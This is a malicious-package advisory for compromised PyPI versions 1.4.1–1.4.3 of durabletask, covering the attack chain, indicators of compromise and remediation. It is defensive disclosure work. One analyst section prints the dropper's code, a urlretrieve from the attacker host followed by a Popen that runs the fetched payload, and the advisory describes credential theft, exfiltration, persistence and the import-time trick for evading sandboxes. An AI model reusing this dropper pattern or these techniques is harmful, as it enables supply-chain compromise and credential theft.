MAL-2026-4174
Vulnerability from ossf_malicious_packages
Published
2026-05-19 16:47
Modified
2026-06-08 19:21
Summary
Malicious code in durabletask (PyPI)
Details

1.4.1, 1.4.2, and 1.4.3 of durabletask were compromised via a PyPI maintainer account takeover. All three malicious versions were published on 2026-05-19 within a 35-minute window (16:19–16:54 UTC). Pin to <=1.4.0.

Attack chain

  • Stage 1 — Import-time dropper: on import, the package fetches a second-stage payload rope.pyz from check.git-service.com (160.119.64.3). The TLS certificate for this C2 was issued on 2026-05-16, indicating ~3 days of pre-attack staging.
  • Stage 2 — Credential-theft framework:
  • AWS / Azure / GCP IMDS interrogation and Secrets Manager dumps
  • Kubernetes lateral movement via in-cluster service-account tokens
  • HashiCorp Vault token extraction
  • Harvesting from 85 known filesystem credential paths
  • Brute-forcing of local password manager vaults
  • Exfiltration: stolen data is encrypted and shipped to the primary C2, with a dead-drop fallback that pushes encrypted blobs as GitHub commits (FIRESCALE-style egress).
  • Persistence: systemd unit pgsql-monitor.service.
  • Destructive payload: a geotargeted wiper activates on hosts identified as being located in Israel or Iran.

Indicators of compromise

  • C2 (primary): check.git-service.com160.119.64.3
  • C2 (secondary): t.m-kosche.com185.95.159.32
  • Dropped payload: rope.pyz
  • Persistence unit: pgsql-monitor.service

Recommended actions

  • Pin durabletask to <=1.4.0.
  • Block both C2 domains at network egress.
  • Treat any Linux system that imported 1.4.1 / 1.4.2 / 1.4.3 as fully compromised — rotate all reachable secrets and rebuild affected hosts.

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (daa176998359c04f9e002ff27fa947f12f08ddf49648ac7444ca894602317662)

On every import durabletask, the package's top-level __init__.py (lines 8-11) calls urllib.request.urlretrieve('https://check.git-service.com/rope.pyz', '/tmp/managed.pyz') and then subprocess.Popen(['python3', '/tmp/managed.pyz'], start_new_session=True) on Linux. The fetched zipapp is executed with no hash or signature verification, in a detached session. The destination check.git-service.com is a generic-git-service lookalike domain unrelated to the legitimate publisher of durabletask (Microsoft / microsoft/durabletask-python on github.com). The trigger is module import — not pip install — so install-phase sandboxes (pip download, pip wheel, build isolation) never observe the network activity; the dropper fires when the package is loaded in CI, production, or a developer's interpreter. The pattern (plaintext additive trailing block in __init__.py, Linux platform gate, .pyz staged to /tmp/ and handed to python3, lookalike git-<project>.com-style C2) matches a known import-time dropper campaign and is structurally indistinguishable from a stolen-publish-credential compromise of a legitimate package.

Source: kam193 (9c23380bb017a417e3f26575c5b96e32fb0bf11dec8314d16f8b979052748049)

Versions 1.4.1, 1.4.2, 1.4.3 were compromised.

During import of compromised versions, the malicious code is downloaded and executed. It exfiltrates all kinds of credentials and sensitive files, including data from secret and password managers, SSH keys, configuration files. Code tries to achieve a persistence via systemd unit.


Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.

Campaign: 2026-05-compr-durabletask

Reasons (based on the campaign):

  • files-exfiltration

  • exfiltration-env-variables

  • exfiltration-ssh-keys

  • exfiltration-cloud-tokens

  • Downloads and executes a remote malicious script.

  • exfiltration-credentials

  • persistence

  • compromised-package

CWE
  • CWE-506 - The product contains code that appears to be malicious in nature.
  • CWE-506 - The product contains code that appears to be malicious in nature.
Credits

{
  "affected": [
    {
      "database_specific": {
        "cwes": [
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          },
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          }
        ],
        "indicators": {
          "domains": [
            "check.git-service.com",
            "t.m-kosche.com"
          ],
          "evidence_files": [
            {
              "path": "durabletask/__init__.py",
              "sha256": "5246e60c2ff10ae058abba14ef5ea22432465ad827ec5f5c5572999411d90b80"
            }
          ],
          "ips": [
            "160.119.64.3"
          ],
          "package_integrity": [
            {
              "filename": "durabletask-1.4.1-py3-none-any.whl",
              "hashes": {
                "sha256": "7d80b3ef74ad7992b93c31966962612e4e2ceb93e7727cdbd1d2a9af47d44ba8"
              }
            },
            {
              "filename": "durabletask-1.4.1.tar.gz",
              "hashes": {
                "sha256": "3de04fe2a76262743ed089efa7115f4508619838e77d60b9a1aab8b20d2cc8bf"
              }
            }
          ],
          "second_stage": [
            {
              "captured_at": "2026-05-19T19:43:50Z",
              "content_type": "application/zip",
              "observed_capabilities": [
                "Multi-cloud credential theft (AWS, GCP, Azure, Kubernetes, HashiCorp Vault)",
                "Filesystem secret harvesting (.env, SSH keys, browser credentials, password stores)",
                "RSA-OAEP + AES-256-GCM encrypted exfiltration to attacker C2",
                "GitHub dead-drop C2 resolution via signed commit messages (FIRESCALE pattern)",
                "Stolen GitHub token exfiltration fallback (creates public repos with encrypted data)",
                "Systemd persistence as pgsql-monitor.service (root or user-level)",
                "Propagation via secondary domain t.m-kosche.com",
                "Anti-analysis: Russia locale exclusion, CPU count \u003e 2 requirement"
              ],
              "persistence": {
                "binary_path_root": "/usr/bin/pgmonitor.py",
                "binary_path_user": "~/.local/bin/pgmonitor.py",
                "service_name": "pgsql-monitor.service"
              },
              "sha256": "069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce",
              "size_bytes": 28703,
              "url": "https://check.git-service.com/rope.pyz"
            }
          ]
        }
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "durabletask"
      },
      "versions": [
        "1.4.1",
        "1.4.2",
        "1.4.3"
      ]
    }
  ],
  "credits": [
    {
      "contact": [
        "actran@amazon.com"
      ],
      "name": "Amazon Inspector",
      "type": "FINDER"
    },
    {
      "contact": [
        "https://github.com/kam193",
        "https://bad-packages.kam193.eu/"
      ],
      "name": "Kamil Ma\u0144kowski (kam193)",
      "type": "ANALYST"
    },
    {
      "contact": [
        "https://safedep.io"
      ],
      "name": "SafeDep",
      "type": "FINDER"
    }
  ],
  "database_specific": {
    "iocs": {
      "domains": [
        "check.git-service.com",
        "git-service.com",
        "t.m-kosche.com",
        "m-kosche.com"
      ],
      "urls": [
        "https://t.m-kosche.com/rope.pyz",
        "https://check.git-service.com/rope.pyz",
        "https://check.git-service.com/api/public/version",
        "https://check.git-service.com/v1/models"
      ]
    },
    "malicious-packages-origins": [
      {
        "import_time": "2026-05-19T17:50:11.360785891Z",
        "modified_time": "2026-05-19T16:47:48Z",
        "sha256": "d7cd06c24c677da1e7b5c2f4df3b2d696dfbcf8548357b512ed16c659c4c7b66",
        "source": "amazon-inspector",
        "versions": [
          "1.4.1"
        ]
      },
      {
        "id": "pypi/2026-05-compr-durabletask/durabletask",
        "import_time": "2026-05-19T18:43:08.148362157Z",
        "modified_time": "2026-05-19T18:34:41Z",
        "sha256": "9c23380bb017a417e3f26575c5b96e32fb0bf11dec8314d16f8b979052748049",
        "source": "kam193",
        "versions": [
          "1.4.1",
          "1.4.2",
          "1.4.3"
        ]
      },
      {
        "id": "pypi/2026-05-compr-durabletask/durabletask",
        "import_time": "2026-05-19T19:37:36.17794506Z",
        "modified_time": "2026-05-19T18:34:41Z",
        "sha256": "295bb15ad476455cabcf58b33fa9b8cb1ff65733d648de314703dd119c171741",
        "source": "kam193",
        "versions": [
          "1.4.1",
          "1.4.2",
          "1.4.3"
        ]
      },
      {
        "id": "IN-MAL-2026-003202",
        "import_time": "2026-05-19T20:39:30.315949543Z",
        "modified_time": "2026-05-19T19:45:00Z",
        "sha256": "78c753d3badef7f806bd71d60c2bb890ccc969a3fb360596e2872ae580d135f8",
        "source": "amazon-inspector",
        "versions": [
          "1.4.1"
        ]
      },
      {
        "id": "pypi/2026-05-compr-durabletask/durabletask",
        "import_time": "2026-05-19T22:31:50.76999664Z",
        "modified_time": "2026-05-19T18:34:41Z",
        "sha256": "70afb57cbcdb03eb986b0e6d3f0f32c2dfc696ca54ed063ac0c3dad1f323cbd6",
        "source": "kam193",
        "versions": [
          "1.4.1",
          "1.4.2",
          "1.4.3"
        ]
      },
      {
        "id": "IN-MAL-2026-003579",
        "import_time": "2026-05-26T05:50:53.879999909Z",
        "modified_time": "2026-05-20T17:45:34Z",
        "sha256": "daa176998359c04f9e002ff27fa947f12f08ddf49648ac7444ca894602317662",
        "source": "amazon-inspector",
        "versions": [
          "1.4.1"
        ]
      },
      {
        "id": "pypi/2026-05-compr-durabletask/durabletask",
        "import_time": "2026-06-08T19:19:19.170034188Z",
        "modified_time": "2026-05-19T18:35:31Z",
        "sha256": "48304d20771195ab837cc038cbcd5efd2552d123b890df0dc57ccef477b7ee5d",
        "source": "kam193",
        "versions": [
          "1.4.1",
          "1.4.2",
          "1.4.3"
        ]
      }
    ]
  },
  "details": "**1.4.1**, **1.4.2**, and **1.4.3** of `durabletask` were compromised via a **PyPI maintainer account takeover**. All three malicious versions were published on 2026-05-19 within a 35-minute window (16:19\u201316:54 UTC). Pin to `\u003c=1.4.0`.\n\n**Attack chain**\n\n- *Stage 1 \u2014 Import-time dropper:* on import, the package fetches a second-stage payload `rope.pyz` from `check.git-service.com` (`160.119.64.3`). The TLS certificate for this C2 was issued on 2026-05-16, indicating ~3 days of pre-attack staging.\n- *Stage 2 \u2014 Credential-theft framework:*\n  - AWS / Azure / GCP IMDS interrogation and Secrets Manager dumps\n  - Kubernetes lateral movement via in-cluster service-account tokens\n  - HashiCorp Vault token extraction\n  - Harvesting from 85 known filesystem credential paths\n  - Brute-forcing of local password manager vaults\n- *Exfiltration:* stolen data is encrypted and shipped to the primary C2, with a **dead-drop fallback** that pushes encrypted blobs as GitHub commits (FIRESCALE-style egress).\n- *Persistence:* systemd unit `pgsql-monitor.service`.\n- *Destructive payload:* a **geotargeted wiper** activates on hosts identified as being located in **Israel** or **Iran**.\n\n**Indicators of compromise**\n\n- C2 (primary): `check.git-service.com` \u2014 `160.119.64.3`\n- C2 (secondary): `t.m-kosche.com` \u2014 `185.95.159.32`\n- Dropped payload: `rope.pyz`\n- Persistence unit: `pgsql-monitor.service`\n\n**Recommended actions**\n\n- Pin `durabletask` to `\u003c=1.4.0`.\n- Block both C2 domains at network egress.\n- Treat any Linux system that imported 1.4.1 / 1.4.2 / 1.4.3 as **fully compromised** \u2014 rotate all reachable secrets and rebuild affected hosts.\n\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (daa176998359c04f9e002ff27fa947f12f08ddf49648ac7444ca894602317662)\nOn every `import durabletask`, the package\u0027s top-level `__init__.py` (lines 8-11) calls `urllib.request.urlretrieve(\u0027https://check.git-service.com/rope.pyz\u0027, \u0027/tmp/managed.pyz\u0027)` and then `subprocess.Popen([\u0027python3\u0027, \u0027/tmp/managed.pyz\u0027], start_new_session=True)` on Linux. The fetched zipapp is executed with no hash or signature verification, in a detached session. The destination `check.git-service.com` is a generic-git-service lookalike domain unrelated to the legitimate publisher of durabletask (Microsoft / microsoft/durabletask-python on github.com). The trigger is module import \u2014 not `pip install` \u2014 so install-phase sandboxes (`pip download`, `pip wheel`, build isolation) never observe the network activity; the dropper fires when the package is loaded in CI, production, or a developer\u0027s interpreter. The pattern (plaintext additive trailing block in `__init__.py`, Linux platform gate, `.pyz` staged to `/tmp/` and handed to `python3`, lookalike `git-\u003cproject\u003e.com`-style C2) matches a known import-time dropper campaign and is structurally indistinguishable from a stolen-publish-credential compromise of a legitimate package.\n\n## Source: kam193 (9c23380bb017a417e3f26575c5b96e32fb0bf11dec8314d16f8b979052748049)\nVersions 1.4.1, 1.4.2, 1.4.3 were compromised.\n\n\nDuring import of compromised versions, the malicious code is downloaded and executed. It exfiltrates all kinds of credentials and sensitive files, including data from secret and password managers, SSH keys, configuration files. Code tries to achieve a persistence via systemd unit.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-05-compr-durabletask\n\n\nReasons (based on the campaign):\n\n\n - files-exfiltration\n\n\n - exfiltration-env-variables\n\n\n - exfiltration-ssh-keys\n\n\n - exfiltration-cloud-tokens\n\n\n - Downloads and executes a remote malicious script.\n\n\n - exfiltration-credentials\n\n\n - persistence\n\n\n - compromised-package\n",
  "id": "MAL-2026-4174",
  "modified": "2026-06-08T19:21:16Z",
  "published": "2026-05-19T16:47:48Z",
  "references": [
    {
      "type": "REPORT",
      "url": "https://safedep.io/malicious-durabletask-pypi-supply-chain-attack"
    },
    {
      "type": "WEB",
      "url": "https://bad-packages.kam193.eu/pypi/campaign/2026-05-compr-durabletask"
    },
    {
      "type": "WEB",
      "url": "https://www.upwind.io/feed/newly-discovered-durabletask-malware-targeted-kubernetes-cloud-secrets-and-ci-cd-infrastructure"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/durabletask/1.4.1/"
    },
    {
      "type": "WEB",
      "url": "https://www.aikido.dev/blog/durabletask-package-compromised-mini-shai-hulud"
    },
    {
      "type": "WEB",
      "url": "https://safedep.io/malicious-durabletask-pypi-supply-chain-attack"
    }
  ],
  "schema_version": "1.7.4",
  "summary": "Malicious code in durabletask (PyPI)"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…